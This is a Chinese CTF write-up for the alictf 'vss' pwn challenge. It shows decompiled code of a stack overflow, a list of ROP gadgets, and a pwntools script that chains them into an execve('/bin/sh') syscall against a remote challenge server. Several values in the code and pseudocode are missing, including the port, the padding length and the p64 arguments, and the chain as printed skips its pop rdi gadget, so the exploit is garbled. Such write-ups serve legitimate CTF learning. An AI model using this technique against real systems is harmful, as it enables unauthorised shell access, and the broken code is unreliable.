当程序开启了nx,但程序有syscall调用的时候。这时栈溢出的利用就可以通过rop来执行syscall的59号调用execve('/bin/sh',null,null),这是这次alictf一道pwn的心得。

ida配合gdb定位程序漏洞如下:

signed __int64 __fastcall sub_40108E(__int64 a1)
{
signed __int64 result; // rax@3
__int64 v2; // rdx@4
int v3; // [sp+10h] [bp-40h]@1
__int64 v4; // [sp+20h] [bp-30h]@1
__int64 v5; // [sp+28h] [bp-28h]@1
__int64 v6; // [sp+30h] [bp-20h]@1
__int64 v7; // [sp+38h] [bp-18h]@1
__int64 v8; // [sp+40h] [bp-10h]@1
unsigned int v9; // [sp+48h] [bp-8h]@7
int v10; // [sp+4Ch] [bp-4h]@4 v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v3 = ;
sub_400330((__int64)&v3, a1, 80LL); // 处理输入,首字母py绕过登陆检测,80字节的最后8字节控制ret
if ( (_BYTE)v3 != || BYTE1(v3) != )

通过Ropgadget找到构造syscall的rop链如下:

0x46f208 : pop rax;ret
0x401823: pop rdi;ret
0x462873: pop rcx;ret
0x422568: mov dword ptr [rdi], ecx ; ret
0x46f205 : add rsp 0x58 ret
0x43ae29: pop rdx;pop rsi;ret
0x45f2a5: syscall;ret

利用代码:

from pwn import *
#io=process('./vss')
io=remote('114.55.103.213',)
praxret=0x46f208
prdiret=0x401823
prcxret=0x0000000000462873 # pop rcx ret
movrdircx = 0x422568
addespret=0x46f205 #add rsp 0x58 ret
prdxrsiret=0x43ae29
syscallret=0x45f2a5
pay='py'+'a'*
pay+=p64(addespret)+'a'*8 #add rsp 0x58;ret
pay+=p64(praxret)+p64() #pop rax;ret
pay+=p64(prcxret)+'/bin/sh\x00'+p64(movrdircx) #pop rcx;ret;mov dword ptr [rdi], ecx ; ret
pay+=p64(prdxrsiret)+p64()+p64() #pop rdx;pop rsi;ret
pay+=p64(syscallret) #syscall;ret
io.recvuntil('Password:\n')
io.sendline(pay)
io.interactive()

栈溢出之rop到syscall-LMLPHP

 
04-14 17:02